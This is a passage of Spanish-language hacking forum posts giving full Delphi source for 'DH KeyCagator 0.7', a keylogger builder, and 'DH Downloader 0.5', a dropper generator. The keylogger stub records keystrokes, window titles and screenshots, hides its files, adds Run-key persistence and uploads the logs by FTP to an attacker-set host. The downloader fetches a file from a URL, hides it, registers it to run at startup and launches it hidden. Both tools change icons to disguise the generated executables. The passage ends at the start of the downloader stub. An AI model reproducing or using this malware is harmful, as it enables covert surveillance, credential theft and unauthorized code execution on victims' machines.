          savein := sComboBox1.Items[sComboBox1.ItemIndex];
        end;

      end;

      if (sRadioButton2.Checked = True) then
      begin
        savein_especial := '1';
        savein := sEdit2.Text;
      end;

      foldername := sEdit1.Text;

      if (sCheckBox1.Checked = True) then
      begin
        capture_op := '1';
      end
      else
      begin
        capture_op := '0';
      end;

      capture_seconds := StrToInt(sEdit3.Text) * 1000;

      if (sCheckBox2.Checked = True) then
      begin
        ftp_op := '1';
      end
      else
      begin
        ftp_op := '0';
      end;

      ftp_seconds := StrToInt(sEdit4.Text) * 1000;

      ftp_host_txt := sEdit5.Text;
      ftp_user_txt := sEdit7.Text;
      ftp_pass_txt := sEdit8.Text;
      ftp_path_txt := sEdit6.Text;

      lineafinal := '[63686175]' + dhencode
        ('[opsave]' + savein_especial + '[opsave]' + '[save]' + savein + '[save]' +
          '[folder]' + foldername + '[folder]' + '[capture_op]' + capture_op +
          '[capture_op]' + '[capture_seconds]' + IntToStr(capture_seconds)
          + '[capture_seconds]' + '[ftp_op]' + ftp_op + '[ftp_op]' +
          '[ftp_seconds]' + IntToStr(ftp_seconds)
          + '[ftp_seconds]' + '[ftp_host]' + ftp_host_txt + '[ftp_host]' +
          '[ftp_user]' + ftp_user_txt + '[ftp_user]' + '[ftp_pass]' +
          ftp_pass_txt + '[ftp_pass]' + '[ftp_path]' + ftp_path_txt + '[ftp_path]',
        'encode') + '[63686175]';

      aca := INVALID_HANDLE_VALUE;
      nose := 0;

      stubgenerado := 'keycagator_ready.exe';

      DeleteFile(stubgenerado);
      CopyFile(PChar(ExtractFilePath(Application.ExeName)
            + '/' + 'Data/keycagator.exe'), PChar
          (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);

      StrCopy(code, PChar(lineafinal));
      aca := CreateFile(PChar('keycagator_ready.exe'), GENERIC_WRITE,
        FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
      if (aca <> INVALID_HANDLE_VALUE) then
      begin
        SetFilePointer(aca, 0, nil, FILE_END);
        WriteFile(aca, code, 9999, nose, nil);
        CloseHandle(aca);
      end;

      op := InputBox('Icon Changer', 'Change Icon ?', 'Yes');

      if (op = 'Yes') then
      begin
        OpenDialog1.InitialDir := GetCurrentDir;
        if OpenDialog1.Execute then
        begin

          try
            begin

              valor := IntToStr(128);

              change := BeginUpdateResourceW
                (PWideChar(wideString(ExtractFilePath(Application.ExeName)
                      + '/' + stubgenerado)), False);
              LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
                PWideChar(wideString(OpenDialog1.FileName)));
              EndUpdateResourceW(change, False);
              sStatusBar1.Panels[0].Text := '[+] Done ';
              sStatusBar1.Update;
            end;
          except
            begin
              sStatusBar1.Panels[0].Text := '[-] Error';
              sStatusBar1.Update;
            end;
          end;
        end
        else
        begin
          sStatusBar1.Panels[0].Text := '[+] Done ';
          sStatusBar1.Update;
        end;
      end
      else
      begin
        sStatusBar1.Panels[0].Text := '[+] Done ';
        sStatusBar1.Update;
      end;

    end;

    procedure TForm1.sButton2Click(Sender: TObject);
    var
      i: integer;
      dir: string;
      busqueda: TSearchRec;

    begin

      IdFTP1.Host := sEdit9.Text;
      IdFTP1.Username := sEdit11.Text;
      IdFTP1.Password := sEdit12.Text;

      dir := ExtractFilePath(ParamStr(0)) + 'read_ftp\';

      try
        begin
          FindFirst(dir + '\*.*', faAnyFile + faReadOnly, busqueda);
          DeleteFile(dir + '\' + busqueda.Name);
          while FindNext(busqueda) = 0 do
          begin
            DeleteFile(dir + '\' + busqueda.Name);
          end;
          FindClose(busqueda);

          rmdir(dir);
        end;
      except
        //
      end;

      if not(DirectoryExists(dir)) then
      begin
        CreateDir(dir);
      end;

      ChDir(dir);

      try
        begin
          IdFTP1.Connect;
          IdFTP1.ChangeDir(sEdit10.Text);

          IdFTP1.List('*.*', True);

          for i := 0 to IdFTP1.DirectoryListing.Count - 1 do
          begin
            IdFTP1.Get(IdFTP1.DirectoryListing.Items[i].FileName,
              IdFTP1.DirectoryListing.Items[i].FileName, False, False);
          end;

          ShellExecute(0, nil, PChar(dir + 'logs.html'), nil, nil, SW_SHOWNORMAL);

          IdFTP1.Disconnect;
          IdFTP1.Free;
        end;
      except
        //
      end;

    end;

    end.

    // The End ?


    El stub.

    Código: delphi

    // DH KeyCagator 0.7
    // (C) Doddy Hackman 2013

    program keycagator;

    // {$APPTYPE CONSOLE}

    uses
      SysUtils, Windows, WinInet, ShellApi;

    var
      nombrereal: string;
      rutareal: string;
      yalisto: string;
      registro: HKEY;
      dir: string;
      time: integer;

      dir_hide: string;
      time_screen: integer;
      time_ftp: integer;
      ftp_host: Pchar;
      ftp_user: Pchar;
      ftp_password: Pchar;
      ftp_dir: Pchar;

      carpeta: string;
      directorio: string;
      dir_normal: string;
      dir_especial: string;
      ftp_online: string;
      screen_online: string;
      activado: string;

      ob: THandle;
      code: Array [0 .. 9999 + 1] of Char;
      nose: DWORD;
      todo: string;

      // Functions

    function regex(text: String; deaca: String; hastaaca: String): String;
    begin
      Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
      SetLength(text, AnsiPos(hastaaca, text) - 1);
      Result := text;
    end;

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    procedure savefile(filename, texto: string);
    var
      ar: TextFile;

    begin

      try

        begin
          AssignFile(ar, filename);
          FileMode := fmOpenWrite;

          if FileExists(filename) then
            Append(ar)
          else
            Rewrite(ar);

          Write(ar, texto);
          CloseFile(ar);
        end;
      except
        //
      end;

    end;

    procedure upload_ftpfile(host, username, password, filetoupload,
      conestenombre: Pchar);

    // Credits :
    // Based on : http://stackoverflow.com/questions/1380309/why-is-my-program-not-uploading-file-on-remote-ftp-server
    // Thanks to Omair Iqbal

    var
      controluno: HINTERNET;
      controldos: HINTERNET;

    begin

      try

        begin
          controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
          controldos := InternetConnect(controluno, host,
            INTERNET_DEFAULT_FTP_PORT, username, password, INTERNET_SERVICE_FTP,
            INTERNET_FLAG_PASSIVE, 0);
          ftpPutFile(controldos, filetoupload, conestenombre,
            FTP_TRANSFER_TYPE_BINARY, 0);
          InternetCloseHandle(controldos);
          InternetCloseHandle(controluno);
        end
      except
        //
      end;

    end;

    procedure capturar_pantalla(nombre: string);

    // Credits :
    // Based on : http://www.delphibasics.info/home/delphibasicssnippets/screencapturewithpurewindowsapi
    // Thanks to  www.delphibasics.info and n0v4

    var

      uno: integer;
      dos: integer;
      cre: hDC;
      cre2: hDC;
      im: hBitmap;
      archivo: file of byte;
      parriba: TBITMAPFILEHEADER;
      cantidad: pointer;
      data: TBITMAPINFO;

    begin


      // Start

      cre := getDC(getDeskTopWindow);
      cre2 := createCompatibleDC(cre);
      uno := getDeviceCaps(cre, HORZRES);
      dos := getDeviceCaps(cre, VERTRES);
      zeromemory(@data, sizeOf(data));


      // Config

      with data.bmiHeader do
      begin
        biSize := sizeOf(TBITMAPINFOHEADER);
        biWidth := uno;
        biheight := dos;
        biplanes := 1;
        biBitCount := 24;

      end;

      with parriba do
      begin
        bfType := ord('B') + (ord('M') shl 8);
        bfSize := sizeOf(TBITMAPFILEHEADER) + sizeOf(TBITMAPINFOHEADER)
          + uno * dos * 3;
        bfOffBits := sizeOf(TBITMAPINFOHEADER);
      end;

      //

      im := createDIBSection(cre2, data, DIB_RGB_COLORS, cantidad, 0, 0);
      selectObject(cre2, im);

      bitblt(cre2, 0, 0, uno, dos, cre, 0, 0, SRCCOPY);

      releaseDC(getDeskTopWindow, cre);

      // Make Photo

      AssignFile(archivo, nombre);
      Rewrite(archivo);

      blockWrite(archivo, parriba, sizeOf(TBITMAPFILEHEADER));
      blockWrite(archivo, data.bmiHeader, sizeOf(TBITMAPINFOHEADER));
      blockWrite(archivo, cantidad^, uno * dos * 3);

    end;

    procedure capturar_teclas;

    var
      I: integer;
      Result: Longint;
      mayus: integer;
      shift: integer;

    const

      n_numeros_izquierda: array [1 .. 10] of string =
        ('48', '49', '50', '51', '52', '53', '54', '55', '56', '57');

    const
      t_numeros_izquierda: array [1 .. 10] of string =
        ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');

    const
      n_numeros_derecha: array [1 .. 10] of string =
        ('96', '97', '98', '99', '100', '101', '102', '103', '104', '105');

    const
      t_numeros_derecha: array [1 .. 10] of string =
        ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');

    const
      n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53',
        '54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193',
        '291', '220', '221', '222', '226');

    const
      t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', '¨',
        '&', '*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^',
        '|');

    const
      n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187',
        '188', '189', '190', '191', '192', '193', '219', '220', '221', '222',
        '226');

    const
      t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]',
        '<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\',
        ' / ', ' \ \ \ ', ']', '[', '~', '\/');

    begin

      while (1 = 1) do
      begin

        Sleep(time); // Time

        try

          begin

            // Others

            for I := Low(n_raros) to High(n_raros) do
            begin
              Result := GetAsyncKeyState(StrToInt(n_raros[I]));
              If Result = -32767 then
              begin
                savefile('logs.html', t_raros[I]);
              end;
            end;

            // SHIFT

            if (GetAsyncKeyState(VK_SHIFT) <> 0) then
            begin

              for I := Low(n_shift) to High(n_shift) do
              begin
                Result := GetAsyncKeyState(StrToInt(n_shift[I]));
                If Result = -32767 then
                begin
                  savefile('logs.html', t_shift[I]);
                end;
              end;

              for I := 65 to 90 do
              begin
                Result := GetAsyncKeyState(I);
                If Result = -32767 then
                Begin
                  savefile('logs.html', Chr(I + 0));
                End;
              end;

            end;

            // Numbers

            for I := Low(n_numeros_derecha) to High(n_numeros_derecha) do
            begin
              Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[I]));
              If Result = -32767 then
              begin
                savefile('logs.html', t_numeros_derecha[I]);
              end;
            end;

            for I := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do
            begin
              Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[I]));
              If Result = -32767 then
              begin
                savefile('logs.html', t_numeros_izquierda[I]);
              end;
            end;

            // MAYUS

            if (GetKeyState(20) = 0) then
            begin
              mayus := 32;
            end
            else
            begin
              mayus := 0;
            end;

            for I := 65 to 90 do
            begin
              Result := GetAsyncKeyState(I);
              If Result = -32767 then
              Begin
                savefile('logs.html', Chr(I + mayus));
              End;
            end;
          end;
        except
          //
        end;

      end;
    end;

    procedure capturar_ventanas;
    var
      ventana1: array [0 .. 255] of Char;
      nombre1: string;
      Nombre2: string; //
    begin
      while (1 = 1) do
      begin

        try

          begin
            Sleep(time); // Time

            GetWindowText(GetForegroundWindow, ventana1, sizeOf(ventana1));

            nombre1 := ventana1;

            if not(nombre1 = Nombre2) then
            begin
              Nombre2 := nombre1;
              savefile('logs.html',
                '<hr style=color:#00FF00><h2><center>' + Nombre2 +
                  '</h2></center><br>');
            end;

          end;
        except
          //
        end;
      end;

    end;

    procedure capturar_pantallas;
    var
      generado: string;
    begin
      while (1 = 1) do
      begin

        Sleep(time_screen);

        generado := IntToStr(Random(100)) + '.jpg';

        try

          begin
            capturar_pantalla(generado);
          end;
        except
          //
        end;

        SetFileAttributes(Pchar(dir + '/' + generado), FILE_ATTRIBUTE_HIDDEN);

        savefile('logs.html', '<br><br><center><img src=' + generado +
            '></center><br><br>');

      end;
    end;

    procedure subirftp;
    var
      busqueda: TSearchRec;
    begin
      while (1 = 1) do
      begin

        try

          begin
            Sleep(time_ftp);

            upload_ftpfile(ftp_host, ftp_user, ftp_password, Pchar
                (dir + 'logs.html'), Pchar(ftp_dir + 'logs.html'));

            FindFirst(dir + '*.jpg', faAnyFile, busqueda);

            upload_ftpfile(ftp_host, ftp_user, ftp_password, Pchar
                (dir + busqueda.Name), Pchar(ftp_dir + busqueda.Name));
            while FindNext(busqueda) = 0 do
            begin
              upload_ftpfile(ftp_host, ftp_user, ftp_password, Pchar
                  (dir + '/' + busqueda.Name), Pchar(ftp_dir + busqueda.Name));
            end;
          end;
        except
          //
        end;
      end;
    end;

    procedure control;
    var
      I: integer;
      re: Longint;
    begin

      while (1 = 1) do
      begin

        try

          begin

            Sleep(time);

            if (GetAsyncKeyState(VK_SHIFT) <> 0) then
            begin

              re := GetAsyncKeyState(120);
              If re = -32767 then
              Begin

                ShellExecute(0, nil, Pchar(dir + 'logs.html'), nil, nil,
                  SW_SHOWNORMAL);

              End;
            end;
          end;
        except
          //
        end;
      End;
    end;

    //

    begin

      try

        // Config

        try

          begin

            // Edit

            ob := INVALID_HANDLE_VALUE;
            code := '';

            ob := CreateFile(Pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ,
              nil, OPEN_EXISTING, 0, 0);
            if (ob <> INVALID_HANDLE_VALUE) then
            begin
              SetFilePointer(ob, -9999, nil, FILE_END);
              ReadFile(ob, code, 9999, nose, nil);
              CloseHandle(ob);
            end;

            todo := regex(code, '[63686175]', '[63686175]');
            todo := dhencode(todo, 'decode');

            dir_especial := Pchar(regex(todo, '[opsave]', '[opsave]'));
            directorio := regex(todo, '[save]', '[save]');
            carpeta := regex(todo, '[folder]', '[folder]');
            screen_online := regex(todo, '[capture_op]', '[capture_op]');
            time_screen := StrToInt(regex(todo, '[capture_seconds]',
                '[capture_seconds]'));
            ftp_online := Pchar(regex(todo, '[ftp_op]', '[ftp_op]'));
            time_ftp := StrToInt(regex(todo, '[ftp_seconds]', '[ftp_seconds]'));
            ftp_host := Pchar(regex(todo, '[ftp_host]', '[ftp_host]'));
            ftp_user := Pchar(regex(todo, '[ftp_user]', '[ftp_user]'));
            ftp_password := Pchar(regex(todo, '[ftp_pass]', '[ftp_pass]'));
            ftp_dir := Pchar(regex(todo, '[ftp_path]', '[ftp_path]'));

            dir_normal := dir_especial;

            time := 100; // Not Edit

            if (dir_normal = '1') then
            begin
              dir_hide := directorio;
            end
            else
            begin
              dir_hide := GetEnvironmentVariable(directorio) + '/';
            end;

            dir := dir_hide + carpeta + '/';

            if not(DirectoryExists(dir)) then
            begin
              CreateDir(dir);
            end;

            ChDir(dir);

            nombrereal := ExtractFileName(paramstr(0));
            rutareal := dir;
            yalisto := dir + nombrereal;

            MoveFile(Pchar(paramstr(0)), Pchar(yalisto));

            SetFileAttributes(Pchar(dir), FILE_ATTRIBUTE_HIDDEN);

            SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);

            savefile(dir + '/logs.html', '');

            SetFileAttributes(Pchar(dir + '/logs.html'), FILE_ATTRIBUTE_HIDDEN);

            savefile('logs.html',
              '<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>');

            RegCreateKeyEx(HKEY_LOCAL_MACHINE,
              'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil,
              REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil);
            RegSetValueEx(registro, 'uberk', 0, REG_SZ, Pchar(yalisto), 666);
            RegCloseKey(registro);
          end;
        except
          //
        end;

        // End

        // Start the party

        BeginThread(nil, 0, @capturar_teclas, nil, 0, PDWORD(0)^);
        BeginThread(nil, 0, @capturar_ventanas, nil, 0, PDWORD(0)^);

        if (screen_online = '1') then
        begin
          BeginThread(nil, 0, @capturar_pantallas, nil, 0, PDWORD(0)^);
        end;
        if (ftp_online = '1') then
        begin
          BeginThread(nil, 0, @subirftp, nil, 0, PDWORD(0)^);
        end;

        BeginThread(nil, 0, @control, nil, 0, PDWORD(0)^);

        // Readln;

        while (1 = 1) do
          Sleep(time);

      except
        //
      end;

    end.

    // The End ?


    Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#245
Delphi / [Delphi] DH Downloader 0.5
Noviembre 18, 2013, 10:59:06 AM
Un simple programa en Delphi para bajar archivos con las siguientes opciones :

  • Se puede cambiar el nombre del archivo descargado
  • Se puede guardar en la carpeta que quieran
  • Se puede ocultar el archivo
  • Hace que el archivo se inicie cada vez que carga Windows
  • Se puede cargar oculto o normal
  • Tambien hice un generador en el que esta pensado para poner un link de descarga directa como dropbox para bajar un server en el cual tambien se le puede cambiar el icono.

    Unas imagenes :







    El codigo.

    El form principal.

    Código: delphi

    // DH Downloader 0.5
    // (C) Doddy Hackman 2013

    unit dh;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, acPNG, ExtCtrls, sSkinManager, StdCtrls, sGroupBox, sButton;

    type
      TForm1 = class(TForm)
        sSkinManager1: TsSkinManager;
        Image1: TImage;
        sGroupBox1: TsGroupBox;
        sButton1: TsButton;
        sButton2: TsButton;
        sButton3: TsButton;
        sButton4: TsButton;
        procedure sButton3Click(Sender: TObject);
        procedure sButton4Click(Sender: TObject);
        procedure sButton1Click(Sender: TObject);
        procedure sButton2Click(Sender: TObject);
        procedure FormCreate(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    uses about, usbmode, generate;
    {$R *.dfm}

    procedure TForm1.FormCreate(Sender: TObject);
    begin

      sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
      sSkinManager1.SkinName := 'neonnight';
      sSkinManager1.Active := True;

    end;

    procedure TForm1.sButton1Click(Sender: TObject);
    begin
      Form3.Show;
    end;

    procedure TForm1.sButton2Click(Sender: TObject);
    begin
      Form4.Show;
    end;

    procedure TForm1.sButton3Click(Sender: TObject);
    begin
      Form2.Show;
    end;

    procedure TForm1.sButton4Click(Sender: TObject);
    begin
      Form1.Close;
    end;

    end.

    // The End ?


    El USB Mode.

    Código: delphi

    // DH Downloader 0.5
    // (C) Doddy Hackman 2013

    unit usbmode;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, acPNG, ExtCtrls, ComCtrls, sStatusBar, StdCtrls, sGroupBox, sEdit,
      sLabel, sCheckBox, sRadioButton, sButton, acProgressBar, IdBaseComponent,
      IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, Registry, ShellApi;

    type
      TForm3 = class(TForm)
        Image1: TImage;
        sStatusBar1: TsStatusBar;
        sGroupBox1: TsGroupBox;
        sGroupBox2: TsGroupBox;
        sEdit1: TsEdit;
        sGroupBox3: TsGroupBox;
        sCheckBox1: TsCheckBox;
        sEdit2: TsEdit;
        sCheckBox2: TsCheckBox;
        sEdit3: TsEdit;
        sCheckBox3: TsCheckBox;
        sCheckBox4: TsCheckBox;
        sCheckBox5: TsCheckBox;
        sRadioButton1: TsRadioButton;
        sRadioButton2: TsRadioButton;
        sGroupBox4: TsGroupBox;
        sButton1: TsButton;
        sProgressBar1: TsProgressBar;
        IdHTTP1: TIdHTTP;
        procedure sButton1Click(Sender: TObject);
        procedure IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
          AWorkCount: Int64);
        procedure IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
          AWorkCountMax: Int64);
        procedure IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
        procedure FormCreate(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form3: TForm3;

    implementation

    uses about, dh;
    {$R *.dfm}
    // Functions

    function getfilename(archivo: string): string;
    var
      test: TStrings;
    begin

      test := TStringList.Create;
      test.Delimiter := '/';
      test.DelimitedText := archivo;
      Result := test[test.Count - 1];

      test.Free;

    end;

    //

    procedure TForm3.FormCreate(Sender: TObject);
    begin
      sProgressBar1.Position := 0;
    end;

    procedure TForm3.IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCount: Int64);
    begin
      sProgressBar1.Position := AWorkCount;
      sStatusBar1.Panels[0].Text := '[+] Downloading ...';
      sStatusBar1.Update;
    end;

    procedure TForm3.IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCountMax: Int64);
    begin
      sProgressBar1.Max := AWorkCountMax;
      sStatusBar1.Panels[0].Text := '[+] Starting download ...';
      sStatusBar1.Update;
    end;

    procedure TForm3.IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
    begin
      sProgressBar1.Position := 0;
    end;

    procedure TForm3.sButton1Click(Sender: TObject);
    var
      filename: string;
      nombrefinal: string;
      addnow: TRegistry;
      archivobajado: TFileStream;

    begin

      if not sCheckBox1.Checked then
      begin
        filename := sEdit1.Text;
        nombrefinal := getfilename(filename);
      end
      else
      begin
        nombrefinal := sEdit2.Text;
      end;

      archivobajado := TFileStream.Create(nombrefinal, fmCreate);

      try
        begin
          DeleteFile(nombrefinal);
          IdHTTP1.Get(sEdit1.Text, archivobajado);
          sStatusBar1.Panels[0].Text := '[+] File Dowloaded';
          sStatusBar1.Update;
          archivobajado.Free;
        end;
      except
        sStatusBar1.Panels[0].Text := '[-] Failed download';
        sStatusBar1.Update;
        archivobajado.Free;
        Abort;
      end;

      if FileExists(nombrefinal) then
      begin

        if sCheckBox2.Checked then
        begin
          if not DirectoryExists(sEdit3.Text) then
          begin
            CreateDir(sEdit3.Text);
          end;
          MoveFile(Pchar(nombrefinal), Pchar(sEdit3.Text + '/' + nombrefinal));
          sStatusBar1.Panels[0].Text := '[+] File Moved';
          sStatusBar1.Update;
        end;

        if sCheckBox3.Checked then
        begin
          SetFileAttributes(Pchar(sEdit3.Text), FILE_ATTRIBUTE_HIDDEN);
          if sCheckBox2.Checked then
          begin
            SetFileAttributes(Pchar(sEdit3.Text + '/' + nombrefinal),
              FILE_ATTRIBUTE_HIDDEN);

            sStatusBar1.Panels[0].Text := '[+] File Hidden';
            sStatusBar1.Update;
          end
          else
          begin
            SetFileAttributes(Pchar(nombrefinal), FILE_ATTRIBUTE_HIDDEN);
            sStatusBar1.Panels[0].Text := '[+] File Hidden';
            sStatusBar1.Update;
          end;
        end;

        if sCheckBox4.Checked then
        begin

          addnow := TRegistry.Create;
          addnow.RootKey := HKEY_LOCAL_MACHINE;
          addnow.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);

          if sCheckBox2.Checked then
          begin
            addnow.WriteString('uber', sEdit3.Text + '/' + nombrefinal);
          end
          else
          begin
            addnow.WriteString('uber', ExtractFilePath(Application.ExeName)
                + '/' + nombrefinal);
          end;

          sStatusBar1.Panels[0].Text := '[+] Registry Updated';
          sStatusBar1.Update;

          addnow.Free;

        end;

        if sCheckBox5.Checked then
        begin

          if sRadioButton1.Checked then
          begin
            if sCheckBox2.Checked then
            begin
              ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
                nil, nil, SW_SHOWNORMAL);
            end
            else
            begin
              ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil,
                SW_SHOWNORMAL);
            end;
          end
          else
          begin
            if sCheckBox2.Checked then
            begin
              ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
                nil, nil, SW_HIDE);
            end
            else
            begin
              ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil, SW_HIDE);
            end;
          end;

        end;

        if sCheckBox1.Checked or sCheckBox2.Checked or sCheckBox3.Checked or
          sCheckBox4.Checked or sCheckBox5.Checked then
        begin
          sStatusBar1.Panels[0].Text := '[+] Finished';
          sStatusBar1.Update;
        end;

      end;

    end;

    end.

    // The End ?


    El generador.

    Código: delphi

    // DH Downloader 0.5
    // (C) Doddy Hackman 2013

    unit generate;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, acPNG, ExtCtrls, StdCtrls, sGroupBox, sEdit, ComCtrls, sStatusBar,
      sButton, sCheckBox, sComboBox, sRadioButton, madRes, sPageControl;

    type
      TForm4 = class(TForm)
        Image1: TImage;
        sStatusBar1: TsStatusBar;

        OpenDialog1: TOpenDialog;
        sPageControl1: TsPageControl;
        sTabSheet1: TsTabSheet;
        sTabSheet2: TsTabSheet;
        sTabSheet3: TsTabSheet;
        sGroupBox1: TsGroupBox;
        sGroupBox2: TsGroupBox;
        sEdit1: TsEdit;
        sGroupBox3: TsGroupBox;
        sEdit2: TsEdit;
        sGroupBox4: TsGroupBox;
        sRadioButton1: TsRadioButton;
        sRadioButton2: TsRadioButton;
        sGroupBox5: TsGroupBox;
        sGroupBox6: TsGroupBox;
        sGroupBox7: TsGroupBox;
        Image2: TImage;
        sButton1: TsButton;
        sGroupBox8: TsGroupBox;
        sComboBox1: TsComboBox;
        sGroupBox9: TsGroupBox;
        sCheckBox1: TsCheckBox;
        sEdit3: TsEdit;
        sGroupBox10: TsGroupBox;
        sButton2: TsButton;
        procedure sButton1Click(Sender: TObject);
        procedure sEdit2Click(Sender: TObject);
        procedure sButton2Click(Sender: TObject);

        procedure FormCreate(Sender: TObject);

      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form4: TForm4;

    implementation

    {$R *.dfm}
    // Functions

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    function getfilename(archivo: string): string;
    var
      test: TStrings;
    begin

      test := TStringList.Create;
      test.Delimiter := '/';
      test.DelimitedText := archivo;
      Result := test[test.Count - 1];

      test.Free;

    end;

    //

    procedure TForm4.FormCreate(Sender: TObject);
    begin

      OpenDialog1.InitialDir := GetCurrentDir;
      OpenDialog1.Filter := 'ICO|*.ico|';

    end;

    procedure TForm4.sButton2Click(Sender: TObject);
    var
      linea: string;
      aca: THandle;
      code: Array [0 .. 9999 + 1] of Char;
      nose: DWORD;
      marca_uno: string;
      marca_dos: string;
      url: string;
      opcionocultar: string;
      savein: string;
      lineafinal: string;
      stubgenerado: string;
      tipodecarga: string;
      change: DWORD;
      valor: string;

    begin

      url := sEdit1.Text;
      stubgenerado := 'tiny_down.exe';

      if (sRadioButton2.Checked = True) then
      begin
        tipodecarga := '1';
      end
      else
      begin
        tipodecarga := '0';
      end;

      if (sCheckBox1.Checked = True) then
      begin
        opcionocultar := '1';
      end
      else
      begin
        opcionocultar := '0';
      end;

      if (sComboBox1.Items[sComboBox1.ItemIndex] = '') then
      begin
        savein := 'USERPROFILE';
      end
      else
      begin
        savein := sComboBox1.Items[sComboBox1.ItemIndex];
      end;

      lineafinal := '[link]' + url + '[link]' + '[opcion]' + opcionocultar +
        '[opcion]' + '[path]' + savein + '[path]' + '[name]' + sEdit2.Text +
        '[name]' + '[carga]' + tipodecarga + '[carga]';

      marca_uno := '[63686175]' + dhencode(lineafinal, 'encode') + '[63686175]';

      aca := INVALID_HANDLE_VALUE;
      nose := 0;

      DeleteFile(stubgenerado);
      CopyFile(PChar(ExtractFilePath(Application.ExeName)
            + '/' + 'Data/stub_down.exe'), PChar
          (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);

      linea := marca_uno;
      StrCopy(code, PChar(linea));
      aca := CreateFile(PChar(stubgenerado), GENERIC_WRITE, FILE_SHARE_READ, nil,
        OPEN_EXISTING, 0, 0);
      if (aca <> INVALID_HANDLE_VALUE) then
      begin
        SetFilePointer(aca, 0, nil, FILE_END);
        WriteFile(aca, code, 9999, nose, nil);
        CloseHandle(aca);
      end;

      //

      if not(sEdit3.Text = '') then
      begin
        try
          begin

            valor := IntToStr(128);

            change := BeginUpdateResourceW
              (PWideChar(wideString(ExtractFilePath(Application.ExeName)
                    + '/' + stubgenerado)), False);
            LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
              PWideChar(wideString(sEdit3.Text)));
            EndUpdateResourceW(change, False);
            sStatusBar1.Panels[0].Text := '[+] Done ';
            sStatusBar1.Update;
          end;
        except
          begin
            sStatusBar1.Panels[0].Text := '[-] Error';
            sStatusBar1.Update;
          end;
        end;
      end
      else
      begin
        sStatusBar1.Panels[0].Text := '[+] Done ';
        sStatusBar1.Update;
      end;

      //

    end;

    procedure TForm4.sButton1Click(Sender: TObject);
    begin

      if OpenDialog1.Execute then
      begin
        Image2.Picture.LoadFromFile(OpenDialog1.FileName);
        sEdit3.Text := OpenDialog1.FileName;
      end;

    end;

    procedure TForm4.sEdit2Click(Sender: TObject);
    begin
      if not(sEdit1.Text = '') then
      begin
        sEdit2.Text := getfilename(sEdit1.Text);
      end;
    end;

    end.

    // The End ?


    El stub

    Código: delphi

    // DH Downloader 0.5
    // (C) Doddy Hackman 2013

    // Stub

